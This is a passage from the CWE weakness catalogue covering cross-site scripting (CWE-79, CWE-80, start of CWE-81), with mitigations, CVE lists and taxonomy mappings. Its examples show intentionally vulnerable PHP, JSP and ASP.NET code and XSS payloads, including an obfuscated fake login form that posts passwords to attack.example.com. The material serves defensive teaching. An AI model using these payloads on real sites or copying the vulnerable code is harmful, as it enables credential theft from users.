Nature	Type	ID	Name	Page
ParentOf	V	87	Improper Neutralization of Alternate XSS Syntax	179
ParentOf		692	Incomplete Denylist to Cross-Site Scripting	1343
PeerOf		352	Cross-Site Request Forgery (CSRF)	773
PeerOf	B	494	Download of Code Without Integrity Check	1055
CanFollow	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	251
CanFollow	B	184	Incomplete List of Disallowed Inputs	425
CanPrecede	B	494	Download of Code Without Integrity Check	1055

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Often)*

Background Details

Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

Alternate Terms

XSS : "XSS" is a common abbreviation for Cross-Site Scripting.

HTML Injection : "HTML injection" is used as a synonym of stored (Type 2) XSS.

CSS : In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality	Bypass Protection Mechanism Read Application Data *The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.*	
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data *The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.*	

Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness = Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness = Moderate

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phase: Implementation

Phase: Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness = Limited

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and

validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that

proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address. Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

Example Language: PHP *(bad)*

```
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
```

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

Example Language: *(attack)*

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
```

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

Example Language: *(attack)*

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
```

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

Example Language: *(result)*

```
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
    <form name="input" action="attack.example.com/stealPassword.php" method="post">
        Username: <input type="text" name="username" /><br/>
        Password: <input type="password" name="password" /><br/>
        <input type="submit" value="Login" />
    </form>
</div></div>
```

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

Example Language: *(attack)*

```
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
```

The same attack string could also be obfuscated as:

Example Language: *(attack)*

```
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
```

```
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>
```

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2:

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

Example Language: JSP *(bad)*

```
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

Example Language: ASP.NET *(bad)*

```
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>
<p><asp:label id="EmployeeID" runat="server" /></p>
```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3:

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

Example Language: JSP *(bad)*

```
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
    rs.next();
    String name = rs.getString("name");
}%>
```

```
Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

Example Language: ASP.NET *(bad)*

```
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>
```

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4:

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

Example Language: PHP *(bad)*

```
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),
$fullName) ;
mysql_query($query);
/.../
```

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

Example Language: PHP *(bad)*

```
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
if (!$results) {
    exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
    echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';
```

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5:

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

Example Language: PHP *(bad)*

```
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";
//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);
```

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

Example Language: *(attack)*

```
<script>document.alert('Hacked');</script>
```

The raw contents of the message file would look like:

Example Language: *(result)*

```
<script>document.alert('Hacked');</script> has logged in.
```

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Observed Examples

Reference	Description
CVE-2014-8958	Admin GUI allows XSS through cookie. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8958*
CVE-2017-9764	Web stats program allows XSS through crafted HTTP header. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9764*
CVE-2014-5198	Web log analysis product allows XSS through crafted HTTP Referer header. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5198*
CVE-2008-5080	Chain: protection mechanism failure allows XSS *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5080*
CVE-2006-4308	Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308*
CVE-2007-5727	Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727*
CVE-2008-5770	Reflected XSS using the PATH_INFO in a URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5770*
CVE-2008-4730	Reflected XSS not properly handled when generating an error message *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4730*
CVE-2008-5734	Reflected XSS sent through email message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5734*
CVE-2008-0971	Stored XSS in a security product. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0971*
CVE-2008-5249	Stored XSS using a wiki page. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5249*
CVE-2006-3568	Stored XSS in a guestbook application. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3568*

Reference	Description
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3211*
CVE-2006-3295	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3295*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	629	1870
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	1877
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)	809	1897
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1911
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)	928	1930
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1005	7PK - Input Validation and Representation	700	1961
MemberOf	C	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)	1026	1978
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws
WASC	8		Cross-site Scripting
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-79		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
63	Cross-Site Scripting (XSS)
85	AJAX Fingerprinting
209	XSS Using MIME Type Mismatch
588	DOM-Based XSS
591	Reflected XSS
592	Stored XSS

References

[REF-709]Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". 2007. Syngress.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-712]"Cross-site scripting". 2008 August 6. Wikipedia. < http://en.wikipedia.org/wiki/Cross-site_scripting >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-714]RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < http://ha.ckers.org/xss.html >.

[REF-715]Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < http://msdn.microsoft.com/en-us/library/ms533046.aspx >.

[REF-716]Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". < http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-718]Ivan Ristic. "XSS Defense HOWTO". < http://blog.modsecurity.org/2008/07/do-you-know-how.html >.

[REF-719]OWASP. "Web Application Firewall". < http://www.owasp.org/index.php/Web_Application_Firewall >.

[REF-720]Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". < http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html >.

[REF-721]RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007 July 9.

[REF-722]"XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. < https://bugzilla.mozilla.org/show_bug.cgi?id=380418 >.

[REF-723]"Apache Wicket". < http://wicket.apache.org/ >.

[REF-724]OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". < http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet >.

[REF-725]OWASP. "DOM based XSS Prevention Cheat Sheet". < http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet >.

[REF-726]Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". 2010 February 2. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/ >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-956]Wikipedia. "Samy (computer worm)". < https://en.wikipedia.org/wiki/Samy_(computer_worm) >.2018-01-16.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Weakness ID : 80 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

Example Language: JSP *(bad)*

```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
    Entry e = (Entry) i.next(); %>
    <p>Entry #<%= e.getId() %></p>
    <p><%= e.getText() %></p>
    <%
    } %>
```

Observed Examples

Reference	Description
CVE-2002-0938	XSS in parameter in a link. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0938*
CVE-2002-1495	XSS in web-based email product via attachment filenames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1495*
CVE-2003-1136	HTML injection in posted message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1136*
CVE-2004-2171	XSS not quoted in error page. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2171*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Basic XSS
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
18	XSS Targeting Non-Script Elements
32	XSS Through HTTP Query Strings
86	XSS Through HTTP Headers
193	PHP Remote File Inclusion

CWE-81: Improper Neutralization of Script in an Error Message Web Page

Weakness ID : 81 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

Extended Description

Error pages may include customized 403 Forbidden or 404 Not Found pages.

